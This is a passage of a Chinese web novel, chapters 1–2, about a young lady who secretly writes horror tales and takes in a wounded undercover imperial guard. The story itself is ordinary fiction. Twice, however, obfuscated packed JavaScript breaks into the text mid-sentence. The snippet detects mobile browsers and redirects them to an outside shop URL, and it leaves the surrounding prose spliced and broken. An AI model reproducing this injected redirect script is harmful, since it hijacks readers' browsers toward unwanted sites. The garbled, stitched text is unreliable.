《捡来的侍卫暗恋我》 1. 第1章 这时节的京师冷得人脑袋顶上疼,初雪临城,寒鸦绕枝。临近牛皮巷有间客栈前立了个戴毡帽的男人,眼见天色益发地黑沉,回身预备落锁关门。 不曾想这一转身,听见身后传来一声弱依声响,“这位爷......” 男人取了盏残旧灯笼悬过去,俄延几晌,打量出是两个衣着不太光鲜的妇人。 “二位娘子可是要住店?”男人面上挂着一抹笑,往前走了半步,“天冷呢,我瞧二位冻得厉害,给二位准备一间好点的房?” 矮个些的妇人叫王秀丽,立在风雪里面色为难,“敢问爷,最...最末等的房...” 男人敛着笑收回了迈出的那半步,语气转瞬比白晃晃的雪还凉,“没钱?没钱住什么店?”说罢抬起胳膊关门。 “爷且慢!”另一个妇人及时往前拦停男人,她倒是一副柔弱之态,伸手往男人手腕子上握握,“柴房,爷,柴房我们也住得的。” 这妇人叫虞娘,一眼望去比秀丽年长些,不似秀丽那般扭捏,倒舍得为自己争取。 男人剔起一侧眉盯紧虞娘,目光往她一把细腰上滑,就着上手掐了一把,“成,小爷我今日也做件善事,后院的柴房有灰,不大干净,但想来你二人凑合一晚也能对付过去,请进吧。” 稍刻将二人引至柴房门前,男人换了张笑眯眯的脸,道:“好事做到底,我喊人送热水来?” 虞娘笑笑:“那就多谢爷了。” 掩紧门后,秀丽总算松了口气。 虞娘一屁股往稻草堆上坐,“总归咱们是一路赶到京师,明儿找着你那侄儿,你就不必受冻挨饿了。” 秀丽是泸县人士,此番上京师是为投奔侄儿,而虞娘则是在路途中遇见的妇人,说是来京师探亲,二人便一路结伴同行。 秀丽听虞娘宽慰一二,左思右想仍觉住在此处不妥,正要再开口,倏地听见男人在外头说话:“二位娘子,热水来了。” “来了来了。”虞娘泄出几丝笑,换了副神色,殷勤将门打开。 天色原就黑漆漆的,虞娘背对着秀丽,秀丽瞧不清虞娘与男人的动作,只见虞娘往门边让一让,叫男人提着热水进来了。 搁置好热水,男人竟神情自若折返出去。 虞娘忙招呼秀丽近前来,“别傻坐着,你先洗呀。” 不知怎地,秀丽有些不安,冷得发硬的身子却在触碰到洇润的热气时放松下来,回想那男人流连在虞娘身上的眼神,只好央着虞娘替自己把着门,稍刻她也替虞娘把门。 四肢百骸正舒坦时,秀丽与虞娘闲聊起来,“虞姐姐,你说你要探亲的人家在城北,我侄儿住在城东,明儿待我见了侄儿,便叫他派人请一顶软轿送你过去。” 微暗的火光打在灰扑扑的墙面上,岑寂间,虞娘映在墙上的影动了动,声音从背后传进秀丽耳朵里,“倘或你侄儿有富贵荣华,你会忘了阿姐吗?” 秀丽腼腆起来,晃着脑袋笑,“一路走来,阿姐不知包容我多少,我怎会忘了阿姐?” 许是热水足够暖和,秀丽光洁的后背欹在木桶边缘,眼神里渐渐透露出几丝向往,丝毫未觉身后那道影的逼近。 “是么?”虞娘透过门缝与门外的一双眼对上,一双手轻轻搭在秀丽头顶,语气陡变,“可是阿姐更喜欢自己拥有那些东西!” 秀丽尚未来得及反应,脑袋被强摁进热水里,耳眼口鼻被灌满,挣扎着扑腾时只依稀听见虞娘在低斥:“还不滚进来帮我摁着她!” 片刻,秀丽没了声息,虞娘没好气瞪男人一眼,气吁吁骂道:“你个色胚!在外头偷瞧了几眼以为我不知?” 原来这男人与虞娘是作一伙,二人在京师这偏僻处开了间客栈,老早摸出些门道来。 京师最不缺有钱的主,商户也好,官员也罢,多少有几门穷亲戚,这些穷亲戚大多都从乡下来,与京师里有钱的富户也或多或少没见过几回。 虞娘便心生一计,顺藤摸瓜寻到那些穷亲戚都在何地,一些与她要好的赖皮子更是蹲守在富户门前,这回正是打听到城东王家的守门小厮漏了口风,说是家里将要来位姑奶奶常住。 因此虞娘早早去了泸县,与秀丽混熟后骗取她的信任,听秀丽谈及她的往事,再将秀丽骗来客栈将她杀害,明日更是安排自己人假扮秀丽进王家。 那王家与秀丽多少年未见?早已认不得她的面貌。有假秀丽在王家往外运值钱的东西,不知够她与男人两个混吃混喝多久。 这一招从未失手过,毕竟虞娘盯上的都是些不会再与老家有往来之人。 男人摸了把虞娘的腰,抬着下颌提醒,“先将她给埋了,我瞧她面上有颗痣,还是叫底下人仔细点好。” 二人趁黑一卷席子拖走秀丽的尸体,折返回客栈时,那假秀丽正坐在一张四方桌前等,虞娘照着记忆往她面上点了颗痣,不耐挥手叫其下去。 而后夫妻二人拥进屋子里,被翻红浪好一阵,皆是气吁吁喘着,没几时攀至顶峰后相拥着睡去,只道是一觉醒来银子便会飞进手里。 后半夜时,虞娘在睡梦中顿觉气短,暗想是男人抱她抱得太紧,想抬手去打,却抓到一片湿润冰冷的土。 虞娘大惊睁开眼,推搡起身侧的男人,发觉二人竟躺在郊外林子里的土坑里,而坑边站了一人,虞娘定睛一瞧,心内连声咯噔! 那不着寸缕、面色发青、垂头死死盯着她的不是秀丽又是谁? “啊——!”听到此节,秦淮河岸一间茶肆里,围坐一桌的妇人们把嘴一张,惊叫出声来,却见那油胡子说书人故弄玄虚,要说不说的模样,忙催促道:“那秀丽变作冤魂来索命了是不是?你做哪样!说呀!不要吊着我们的胃口呀!” 说书人眼轻飘飘往堂下瞟,笑吟吟开口:“这可是金陵小红豆最新著作,我尚且只得上半册,并非是我不再往下说,是这下册我也不知何时有卖。” “金陵小红豆?”这几个妇人们瞧着是头回听说,互相睇眼。 邻桌有人轻笑:“婶子们不常出来听书吧?这金陵小红豆可是专写这样的话本子,凑巧了,鄙人有前头几册,按金陵小红豆这不出常理的习性啊,还真猜不准她下半册该如何写这虞娘与她家汉子,鄙人手里这几册倒是有些可怖,婶子们倘或感兴趣...” 他拍一拍长条凳,“过来坐呀,一块看。” 妇人们登时围他作一团,那说书先生把眼往楼上一间雅间的门前轻转,莞尔摇首退下戏台,自顾隐去了。 正值傍晚,冬日里的夕阳残照,昏黄的光束透过大开的窗映在雅间的四方桌上,印宝阁的东家陈潮换了个姿势,翘起腿来把袖摆轻捋,望向窗边倚坐的倩影,心虚笑了笑,“钱小姐,吹了半日的风,这气是不是该消了?” 钱映仪轻飘飘的眼落过来,瞧不清她是喜是怒。 一眼窥清钱映仪,只觉她明眸清澈,像冬日里的冰珠子,很是透亮。 冷白的皮肤上抹了层淡淡的胭脂,眉若柳叶,再往下瞧,是两片饱满嫣红的嘴唇,恰比春日海棠。 俄延半晌,她道:“陈老板,咱们也做了三四年交易,我年前与您说过,下册的事,待出了正月再谈,您做出这样的声势,是在逼我?” 陈潮做的是印册生意,名下且还经营大大小小的书斋,多么精明的一个人,听钱映仪肯开口说话,便知她那股气是消了,忙起身近前,往袖管子里摸出一张纸,搁在钱映仪面前。 “去年印的那批话本子在扬州府一带卖得实在太好,年前小姐是说过出了正月再谈下册的事,这倒是怪我,没压住口风,往外传了传,这是扬州府那些书斋老板们预定的单子,小姐今日也听了,外头的人可都等着下册呢!” “我想着...”陈潮弯起一个自认为奉承的笑来掩盖皮下的精明,“早一些也无妨,今日约小姐出来,就是想让小姐亲耳听听这话本子多受欢迎。” 钱映仪指尖捻起那张纸,细扫上头预定的书册数量,扇了扇浓密的睫,未说话。 陈潮暗咬牙关,轻瞄钱映仪一眼,暗道她也是个财奴!当即肉痛笑道:“老规矩,小姐四,我六。” 眼前的人这才抬眼凝视过来,片刻轻扬柳眉,弯起一抹笑,“既是陈老板急,那不妨我加快些。” “是小姐贴心。”陈潮引着钱映仪去签另一张用作二人交易的纸契,不由思绪渐渐飘回四年前。 话说钱映仪并非金陵人士,十八年前生在京师,长到十岁时,钱老太太因病离世,又逢朝堂振荡,钱老太爷遂自请调任回金陵,做了南直隶工部左侍郎。 彼时,钱映仪最亲近祖父,因此不管不顾与钱老太爷来了金陵,丢了一双父母在京师,上头还有一对兄姐。 钱映仪初来乍到,因话太多,得罪了金陵的几位小姐,那时候的小姐们便有意无意不去接纳钱映仪。 二叔一家倒与钱老太爷一同住,可二叔膝下是位男娃娃,钱映仪不屑与他说话,整日只在纸上描描写写。 后来时间长了,即便是在金陵寻到了几位好友,钱映仪亦保留着这样的习惯。 十四岁时,钱映仪突发奇想编写了好些骇人听闻的灵异神怪故事,私下寻人印了百来册,随意找了间书斋去卖,竟叫爱听书阅书的百姓们看得津津有味。 更有甚者,半夜举着银釭在炕桌上看,看得入迷了,竟险些将自己吓得撅过去。 后来,话本辗转落入陈潮手里,他敏锐嗅见铜钱的味道,却苦于不知这‘金陵小红豆’是谁,急得在印宝阁来回转圈。 陈潮至今还记得,那日钱映仪主动登门,与自己说她就是‘金陵小红豆’时,那股荒谬又吊诡的感觉。 话本子里时常写精怪对坏人吸□□气,生饮其血,肠子打结用来做吊床,陈潮无法将面前这伶伶俐俐的小姐与描写血腥之人联想到一处。 陈潮也想过要坑骗钱映仪,不曾想她小小年纪竟也是有备而来,一阵斡旋下来,谈成了彼此盈利的条件,钱映仪提供故事,陈潮负责印册。 竟也一如既往地卖得不错。 四年过去,陈潮几乎是将钱映仪当作了金疙瘩捧着,钱映仪是‘金陵小红豆’的秘密,除却她身边亲近之人,也自然而然地变成了只有陈潮知道。 但到底是贪心不足蛇吞象,若是可以,陈潮愿意自己赚个十成。 这厢思绪百转千回,那头钱映仪已然落笔,陈潮面上不显,只挂着笑将纸契卷进袖管子里。 钱映仪不欲多留,只觉今日起早稍有困乏,起身时却被河对岸行院里一阵吵闹绊住脚。 回首望去,一位眼熟的婆子正带着乌泱泱一波小厮往行院里闯。 身后随行的丫头夏菱眼尖认出,低呼一声:“小姐,那不是蔺家少奶奶身边的奶妈么?” 陈潮话倒接得快,抻脖往行院睃一眼,笑得有几分得意,“我倒想起来了,小姐与蔺家少奶奶认得,不过这蔺少奶奶的公爹乃应天府府丞,自家亲爹又是应天府府尹,哪样着急的事值得派身边的奶妈妈来行院捉人呢?” “...捉人?”钱映仪回首望他,三两步捉裙凑过去问:“陈老板知道些什么?” 陈潮很是得意,在钱映仪面前总算多了件他先知道的事,卖弄好一阵玄虚才道:“小姐以为还有谁值得蔺少奶奶这样大张旗鼓去捉?自然是她的夫君蔺玉湖了,蔺少奶奶出自燕家,小姐与她关系一般,我也晓得,所以这其中一些微不足道的事,小姐知道得没我快,小姐可记得燕三郎?” 钱映仪把眉轻攒,“记得,燕姐姐的弟弟,听过,没见过,只知考取功名后去凤阳府临淮县上任了。” “这蔺玉湖向来是个浪荡子,蔺少奶奶也闹过几回,自家爹与公爹在一处共事,这样的事自然被两家长辈给压下去了,蔺少奶奶只好一忍再忍。” 陈潮神秘兮兮地说道:“好在前些日子有消息,说是燕三郎不日即将调任回江宁县,这长辈不想管,自有弟弟来撑腰,蔺少奶奶这不就使奶妈妈来行院硬气一回了?” 他连连摆脑袋啧声,“这回闹大了来,蔺燕两家的脸可都丢尽了!” 钱映仪虽说与这燕文瑛关系并非十分密切,从前见了面也是笑依依福身的,不免眨巴几下眼,与丫头夏菱对望,片刻,才转背与陈潮告辞。 提裙下楼梯时,钱映仪才忿忿然开口:“要我说,这蔺玉湖是该丢回脸,在外头花玩的又不是燕姐姐,燕姐姐尽一个妻子的本分使人拿他,倒还给他脸了!” 夏菱快步跟在她身后附和,“就是!就是!” 走出茶肆时,钱映仪凑巧与河对岸那位被奶妈反擒着手的蔺玉湖打了个照面。 见他一眼瞧着就像是从哪个女人怀里出来的模样,钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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身后那人也算玉树临风,迟迟未动,语调有些迟疑,“指挥,真要这样?” 男人冷淡扫他一眼,“啰嗦。” 那人悻悻然闭了嘴。 皇权争斗,许多事推翻重来,这几年新皇坐稳了皇位,渐渐要与底下的官员清算起来,眼前这位锦衣卫指挥使——秦离铮,接到皇上指派的任务,要对金陵一带的官员暗中彻查,整治贪污,最好能连根拔起。 这偌大的金陵有太多官员,别人尚且不知,但这燕家与蔺家,都已在彻查之列。 秦离铮近几年靠手段狠厉上位,只为皇上办事,故而金陵还没人能认出他的身份,秦离铮此番正是预备蛰伏在府丞蔺边鸿的府邸。 燕家与蔺家乃姻亲,燕榆的官又高过蔺边鸿,上下级之间,往往是官低一级那人去办事,事办得多了,能探查的秘密也就多了。 这正是秦离铮选择蔺府的理由。 蔺边鸿作为应天府的二把手,往日露在百姓的形象最是爱民。 他们挑选此处,不会太过张扬,却也有稀稀散散的行人经过,倘或是身受重伤倒在蔺家后门,蔺边鸿无论如何也会将人带回府上。 届时秦离铮再顺势以报答为借口,留在蔺府做个侍卫,势必会一步步挖掘出秘密。 “轰隆——” 一连迭的惊雷滚过半空,天边卷起乌黑的云,一瞬间砸下噼啪绽响的雨滴。 玉树临风的男人不再迟疑,反手挽了个剑花,将角度把握得极妙,一把刺进秦离铮肋下。 秦离铮吃痛倒吸气,稍刻,转背拉开门,佯装脚步十分不稳,跌跌撞撞往蔺府的后门走去。 傍晚这场夜雨叫金陵又冷上几分,行人匆忙避雨,渐渐地,路上只剩秦离铮一人,坠雨仿佛是要透过皮肉渗进骨髓里,侵蚀他的伤口,乍一看,倒真是面色惨白,身受重伤,好不可怜。 再行几步,秦离铮在蔺府后门拐角处找了块地方跌靠着,旋即阖上眼,静等蔺边鸿稍后归家。 他蹲守数日,早已看出蔺边鸿每日都会在归家时经过此处,再绕进巷口买上一口热酒喝。 秦离铮任凭雨水砸在自己身上,由着雨珠在睫毛上挂着。 半空乌云浓重,雨势愈发的大,四周的屋舍掩了门,逐间亮起昏黄的灯。 远处隐约响起车轴滚动声,秦离铮靠在原地未动,淡然在心中默数。 稍刻,砸在身上的雨停了。 雨珠聚集砸在油纸伞上的吵闹声迫使秦离铮掀开眼,立在面前的身影却并非蔺边鸿。 映入眼帘的是一双缠枝纹凤头履,往上是条雪青暗花绸云纹马面裙,面前站了位容颜俏丽的小姐,替他撑着伞,一双眼晶莹剔透,满含探究之色。 秦离铮浓眉重叠,翻了个身,“走开。” 夏菱急急忙忙撑了把油纸伞在钱映仪头顶,生怕主子淋着雨。 男人翻身的动作溅起了泥点子,雨水顺着他的流进衣襟里,因捂着肋下,从指缝流出的血色也益发浓重。 钱映仪下意识嫌弃,后退几步,盯着他身下的那片红色瞧。 她刚转来蔺府,忽遇大雨,只好收起打探燕文瑛近况的心思,命马车掉转回家,穿巷过时却见此处歪歪倒倒个人影,经侍卫提醒,才知是个受伤流血的男人。 这男人说话倒是凶巴巴的。 钱映仪窥他还有力气驱赶自己,当即转身往马车处走。 倒是丫头夏菱回首偷瞥他的身段,又见他不耐凶斥人的模样很是标准,瞟了眼马车旁的侍卫,黑溜溜的眼珠子一转,立时低声与钱映仪贴耳道:“小姐,他受伤了,咱们不如将他救下,做他的救命恩人...” “您看他的身板,不比咱们府上那些侍卫强多了?” “咱们家那几个侍卫不敢得罪吴小少爷,我瞧这位的架势...” 即便正逢雨水落地,秦离铮也听清了这丫头的盘算,心下顿觉荒谬,面上却依旧冷冰冰的,再度睁眼扫量这位小姐,眼神凌厉了几分。 却见这位小姐打着伞往前一步,那双眼,不知是听了丫鬟的建议还是因何缘故,益发晶莹透亮。 替他撑过的那把油纸伞再次替他挡住雨,落在伞面那密密麻麻又聒噪的雨声里,她笑吟吟开了口。 “嗳,你受了伤,要不要我救你呀?” 2. 第2章 女孩子打扮得伶伶俐俐,浑身精致,秦离铮却睁着无情无绪的眼把她轻望。 正欲再驱赶一遍,凑巧边上又停了辆马车,车壁上的窗户内乍显人影,八字胡须下是张丰润的脸,戴着顶乌纱帽,一副眼充斥着关怀之色。 钱映仪也听着动静,把脸转过去与那人打了个照面,隔了一会儿,乐呵呵漾开一个笑,“见过蔺伯伯。” 蔺边鸿见着地上那摊红色的水先是一惊,顾不得细问,又听这女孩子唤自己,一双眼顿时落往钱映仪的脸,只觉眼熟,扬声问道:“好孩子,你是哪家的?” “蔺伯伯忘了?去年春宴,我随二婶婶来过您家,还向您讨了杯茶喝呢。” 蔺边鸿那对盛着关怀的眼眨了眨,陡然想起来,“是钱老的乖孙女?” 他忙打帘下车,由下人打了把伞撑在头顶,作势把跌靠在墙根的秦离铮望一望,拿出两分府丞的架势来,“此人怎么受了伤躺在这?可是欺负你?” 瞧钱映仪身后跟着侍卫,蔺边鸿竟是阴差阳错下把秦离铮当作了欺辱女子的赖皮子。 秦离铮心下一沉,只道今日断不能成事,因此沉默不言,索性一装到底,状作是个受伤之人。 夏菱适时轻推了推钱映仪的胳膊,钱映仪抬眼扫过秦离铮的身段,肩宽腰窄,臂膀瞧着十分有力,即便是跌靠屈着腿,也能估算出他的身量... 一番思忖下,钱映仪抬高下巴,朝蔺边鸿笑着解释:“他没欺负我,是我路过此处,见他受了伤,想着搭救一把。” 蔺边鸿在外有个爱民的好官声,听钱映仪解释清楚,那两分官威便收了起来,当即招了招手,使两个小厮将秦离铮搀到一旁的砖瓦下暂且避雨。 帮衬过后,旋即向钱映仪望上一眼,客客气气道:“瞧瞧,快都别傻站在这儿了,你是个好孩子,晓得搭救陌生人,琐碎的事交给下人去办,你可愿随我进府坐坐?我记起文瑛与你也是认得的。” 钱映仪此番过来,本就没想进蔺府,只打算在府外悄悄探一探燕文瑛的近况。 听蔺边鸿邀自己进府,顿觉不妥,一来她与燕文瑛不算十分相熟,二则蔺玉湖才被那奶妈妈从行院押解回家,蔺边鸿想来也暂不知情。 她若跟着进府,届时蔺家闹起来,她在那倒不合适了。 因此钱映仪的眼波淌在秦离铮身上,朝他努努嘴,俏生生向蔺边鸿答道:“落着雨,实在是天公不作美,蔺伯伯这时候归家,想必也是公务繁忙,回头我与二婶婶再一并登门拜访吧。” 蔺边鸿只是客气一番,只好把目光再慈爱些,正欲转身离去时,又听钱映仪问:“只不过我的确许久未见燕姐姐了,蔺伯伯,燕姐姐近来可好?” “她吃好睡好呢。” 蔺边鸿哪会不知往前蔺玉湖有多混账,只不过从前那些糊涂事都叫他给压下去了,燕文瑛虽闹过几回,府里对她却也是捧着的,谈不上不好。 说罢摆手与钱映仪讲礼告辞。 钱映仪掀眼往蔺边鸿离去的方向张望片刻,只道在明面上,燕文瑛应是过得还不错,便暂且放下打探之心。 扭头盯着秦离铮看了几眼,唇畔弯起个温软的笑,“说话,还要不要我救你?” 这小姐与蔺边鸿来来回回说了些话,又自称姓钱,秦离铮早在脑中过了一遍在金陵姓钱的官员,很快摸清了她出自何家。 今日谋划被她硬生生拦断,说不气恼是假的,但好在理智犹存,几番思虑下,秦离铮将目光落向这位小姐... 俄延几晌,他绷着唇点了点头。 今日蔺边鸿已见过他,这蔺府他不好再进,她既与蔺家相识,那便退而其次从她身边入手。 钱映仪唇边挂着笑,望着他的眼神里像是有一丝审视下的满意,很快刮来阵寒风,她凑巧垂眼一看,这才发觉有几丝红色血迹钻进了她的鞋底。 那丝笑意顿时变作烦恼,她不免把鞋底在一截石磴上蹭一蹭,回身上了马车,自顾道:“回家,使两个人留在此处照看,再另派人送蓑衣来。” 马车兜兜转转在天完全黑时回了琵琶巷,钱映仪归家,在园子里正好与二叔钱佑年迎面撞上,钱佑年捉住她开溜的肩,笑着盘问:“大冬日的,又去何处潇洒了?” 钱映仪正因裙摆污糟糟而难受,躲开钱佑年就脚底抹油往自个的院落跑,不忘答话:“我先回去换身衣裳,二叔,待会咱一齐去陪爷爷用饭!” 钱佑年笑骂一句,扬声喊:“晓得,你快些!下晌时,其羽也回来了,正等着你归家一起耍呢!” “知道了!” 钱映仪一路拐回云滕阁,重新换了条杏黄色的裙,身上那件圆领袄也换作一件浅粉立领短袄,再仔仔细细换过凤头履,取了手炉就往花厅去。 进门先见一个圆眼少年,唇红齿白,脑袋上扎着黑幅巾,一件湖绿直裰衬得他益发顽皮,远远就蹦跳着迎来,嗓门极大,冲着钱映仪一口一个阿姐喊着。 这便是钱佑年膝下那位男娃娃,取名其羽,如今十八岁的年纪,只比钱映仪小两个月,正在府学念书。 二人打从十岁起在一个屋檐下长大,钱映仪越是不爱搭理他,他便越是爱往钱映仪跟前凑。 这厢一连迭喊过钱映仪,钱其羽就忙扯了张圆凳在桌边,摁着钱映仪的肩往下坐,献宝似的将桌上食盒一掀,就见里头搁着碗蜜汁玫瑰芋头。 钱其羽笑嘻嘻催促,“阿姐,这时节可不兴吃这个,可我晓得你爱吃,归家时路过便买了回来,快尝尝,我都在家等你许久了。” 钱映仪把柳眉一剔,忍俊不禁弹了下钱其羽的鼻尖,倒是先扭头与上座之人说话,“爷爷,我今日办了件事。” 上座坐着钱兰亭,虽孙子孙女都这般大了,定眼一瞧却是精神抖擞,将筷子递了双给钱映仪,只笑道:“管你有什么要紧的事,先等吃完饭再谈,就为着等你,菜都快凉了。” 钱映仪只好赧脸低着头应声,摁下救那男人之事,暂且不表,乖乖围坐一桌吃起饭来。 吃饭时,钱兰亭瞟了眼次媳许珺头上的金嵌宝石挑心,端着碗扒了两口饭,给钱映仪姐弟挨个夹了块糟鹅,冷不防朝钱佑年开口:“年关刚过去没多久,你哥嫂也刚回京师没多久,又送信来了。” 猝不及防一句话,叫钱映仪呆呆抬脸,“爹又来信做什么?” “吃饭,我与你二叔在说话,”顿一顿,钱兰亭才道:“不是来催你回京师的。” 钱映仪这才长舒一口气。 “大哥又来了什么消息?”钱佑年捧着个碗有些疑惑。 钱兰亭当初虽自请调任回金陵,却依旧留有长子钱锦年任顺天府府尹,一些在京师发生的事,钱锦年总会在家信上寥寥几笔交代。 “你大哥说,年关时,六部账册出了纰漏,账对不上,皇上发了好大一通脾气。” 钱佑年心中咯噔一声,暗忖自家爹的话锋,敏锐把许珺头上那支挑心一望,没说话。 钱兰亭又道:“六部那些长官都是反复在油锅里炸过的老油条,为着利益滚了一身油,这番闹腾,我估摸着至多也就是受斥责,毕竟皇上也是人,就长了一双手,还是需要有人充当他的三头六臂替他办事的。” “那些人日后收敛些,浑身上下的油还是满的,只不过...”钱兰亭又扒了口饭,声音沉了点,“倒是地方官员不同,少了些发言权,又多了些替人办事的能力,自身往上爬不了多高,又夹中间,最容易两头讨不着好。” 钱兰亭斜眼瞥次子,没几时舀了勺鱼汤给他,“你大哥这信上提的事倒提醒了我,我想你在永平担任县丞,也犯不着捞这不着好的事,是不是?” 钱佑年哪还能不明白,爹这是劝诫自己莫要因贪坏事呢,于是忙接了那勺鱼汤,笑着称赞今日这鱼汤鲜嫩,又道:“我晓得的。” 说罢将许珺头上的挑心指一指,敞亮着说话:“爹,这挑心瞧着如何?” 许珺忙搁下筷子,连嗔带怒地瞪钱佑年,钱佑年却笑眯眯的,接着道:“爹的意思我明白,我如今大了,晓得爹是不愿在我面前摆长辈的谱儿,请您放心,您儿媳脑袋上这支挑心是我折换了年关分下来的粮食,又添了点私房钱去打的。” 许珺一愣,转瞬换了副神色,“你竟还藏着私房钱!?” 钱佑年暗呼说漏嘴,怯怯把肩一缩,把脸埋进碗里不吭声了。 钱兰亭一笑,有些话点到即止,也不预备再续谈,指着二人与两位小辈笑骂,“瞧瞧,两个做长辈的,行事说话竟还没你们做小辈的沉稳!” 钱映仪与钱其羽先是被唬一跳,听了这话又登时笑作一团,厅内又是一番温馨景象。 这厢把晚膳用罢,钱其羽嚷着要与钱映仪一块儿再出门去秦淮河岸耍一耍,被许珺拧着耳朵尖拽回了房,老老实实温书去了。 钱佑年也因还有衙门的琐碎事要批改,提着盏黄纱灯笼,脚步一拐去了另一头。 只剩钱映仪还坐在花厅里陪钱兰亭烧茶喝。 屋子里静了静,稍刻,钱兰亭才出声:“说吧,你今儿办了件什么事?出门耽搁到天黑才回家又是被哪样事绊住脚?” 钱映仪立时来了精神,兴冲冲将蔺玉湖被人从行院捉走一事说与钱兰亭,丝毫不觉行院二字从她这个闺秀小姐嘴里说出来有何不妥。 听得钱兰亭连连皱眉,故而板起脸,屈指往她额心一弹,“谁许你往那处看的?!” “嘶...”钱映仪吃痛捂额,很快又理直气壮扬起下颌,“是陈老板约我在那处相见,要不是为着赚点钱花,我又岂会去?爷爷下手是愈发重了!” 钱兰亭自然知晓钱映仪正是那‘金陵小红豆’,为此也颇有些头疼之意,想他半生风骨傲然,也生出两个还算不错的儿子,上头两个孙子孙女都乖巧得紧,偏就钱映仪与钱其羽令他头疼! 尤其是面前这小孙女,小小年纪写些什么志怪话本,起先他只当是女孩子家的玩乐,几年前找她讨要来一册看,岂知夜里吓得瞧自己发白的头发都觉得骇人起来。 钱兰亭沉一口气,反问:“逢年过节,爷爷给你包的红封最大,你父母时常送银子来,还不够你花?要你个闺阁小姐出去赚哪样的银子?” 钱映仪轻哼:“钱怎么花,是我自个的事,我时常送您喜爱的画作,那也是银子购置的,也没见您推辞不收!” 说到此节,钱映仪才惊觉自己一时嘴快,又与老爷子拌起嘴来,此刻却不是惹恼老爷子的时机。 于是换了副谄笑之色,立在钱兰亭身后替他不轻不重地摁着脑袋。 钱兰亭舒坦下来,眼眉都放松了些,懒散道:“你还没说你今日办了件什么事。” 钱映仪:“我捡了个男人回家。” “...什么?”钱兰亭骇目圆睁,忙站起身来,上下把钱映仪一扫量,窥她神色不似作假,又吹胡子气骂:“胡闹!” 钱映仪努努嘴,“您也别急着怪我,我今日出去又遇着那吴小少爷,我被他缠得实在是没办法了,家里的侍卫个个身手不错,却碍着您往日的规训,不敢对吴小少爷做些什么,我捡了个男人,那也是巧合!” 说罢将来龙去脉一并说了。 钱兰亭扶着椅身,好半晌将气顺下来,急问:“那人呢?” 钱映仪忙朝外喊:“夏菱!” 夏菱低眉进厅,三言两语将话交代了,只说捡回来的男人被搁置在耳房,因钱映仪未交代,只草草包扎了伤口,此刻正等着钱映仪安排。 “将他带来。”钱兰亭轻攒眉心吩咐。 夏菱应答退下。 钱映仪掀眼望向钱兰亭,软软的腮肉浮动了两下,笑着揽过他的臂膀,贴靠过去,“爷爷,您答应了是不是?” “谁说我答应了?你别顺杆往上爬!” 钱兰亭把胳膊象征性往外抽一抽,没抽动,便任由她扒着去了,“待我见过人了再说。” 钱映仪喜滋滋靠着老爷子还算硬朗的臂膀,又说出一两句话来哄人高兴,“爷爷,从小到大,就您最疼我,我要一辈子待在您身边。” 钱兰亭面上不显,心中美哉。 秦离铮随夏菱迈进花厅时,就见这面色红润的小姐歪倒在一旁,薄薄的肩背欹在椅上,一双手各拿了只杯子轻撞着打趣。 这小姐没再打量他,反倒有另一道目光饱含审视,将他从头到脚细细窥了个遍。 没几时,钱兰亭道:“事情的始末我已听说,敢问阁下因何受伤?” 秦离铮闻声轻转视线,淡淡瞟过出声之人。 南直隶工部左侍郎,十年前在京师曾任少师一职,为人谦逊和善。 他在耳房候着时,心中已将这钱家上上下下琢磨个透。 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790582|190568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两只杯子仍在撞,若细细计较,可算作失礼,秦离铮默然看着,这位钱侍郎并没有呵斥孙女之意,很明显对他有所防备,并不当作是“客”。 秦离铮的声音在这清脆的叮当声里显得格外平静,“回大人,是被债主所伤。” “债主?什么债主?听口音,你不是金陵一带的人。” 秦离铮低垂着眼,说起事先编好的说辞:“我与幼弟是京师人,南下寻生计,在码头做工,幼弟在赌坊输了不少银子,几日前跑了,赌坊的人找不到幼弟,只好来找我。” 他立在原地,坦然叫钱兰亭打量,说起这一连串编造的事迹来也面色不改。 钱兰亭见他身量挺拔,即便是受了伤淋过雨有些狼狈,也不掩那股锋芒之态,心中自有一番考量,于是抬一抬手,道:“请坐。” 待坐下后,钱兰亭把胳膊反剪在背后,在厅内来回踱上两步,问:“你叫什么?” “林铮。” 钱兰亭稍稍眯眼,目光往厅外一睃,那厅外的管家心领神会,轻声退出去。 凑巧外头又传来动静,吵吵闹闹,重重的脚步声,跑起来像是要把地砖踩翻,原来是钱其羽这滑头去而复返,不愿念书,偷偷溜了过来。 一进厅,见着陌生男人,钱其羽“咦”了两声,紧凑上前问:“爷爷,他是谁?” “你又偷跑过来,仔细你娘打你!”钱兰亭瞥了眼孙子,又望向钱映仪,这才不轻不重轻咳,训诫道:“映仪,有客人在,你这样像什么话?坐正了,把杯子放下。” 厅外伺候的丫头忙进来斟茶。 这会倒想起待客之道来了。 秦离铮心知钱兰亭是何用意,规规矩矩用过两盏茶,那丫头沏到第三盏时,先前那管家去而复返,侯在门外冲钱兰亭轻轻点头。 钱兰亭得到准信,方将审视的目光轻敛,细细盘问一番,末了又问:“可会武功?” “略通一些。” “映仪,叫你身边的小玳瑁来。”钱兰亭歪着脸嘱咐钱映仪,又冲秦离铮笑一笑,“今日是我这孙女搭救你一把,原本该是放你回去,但我家正好缺几个侍卫,倘或不嫌,你便与我孙女身边的侍卫比试一番。” 那杯身轻撞的声响早已消退,取而代之的是指节轻敲桌面的声音,这位小姐仿佛总爱弄些动静出来。 秦离铮微抿着薄唇,一拱手道:“多谢大人。” 钱映仪冲夏菱摆摆手,夏菱登时去唤人。 没几时,来了个侍卫打扮的年轻人,身量还算得高挑,从头到脚都是玄色,唯独剑穗编了两根棕色的线进去,瞧也不过十八九岁。 小玳瑁在来时已听夏菱提过几嘴,见雨停了,索性未进花厅,在外头一处空旷之地站得笔直,朝秦离铮伸出手来,“请赐教。” 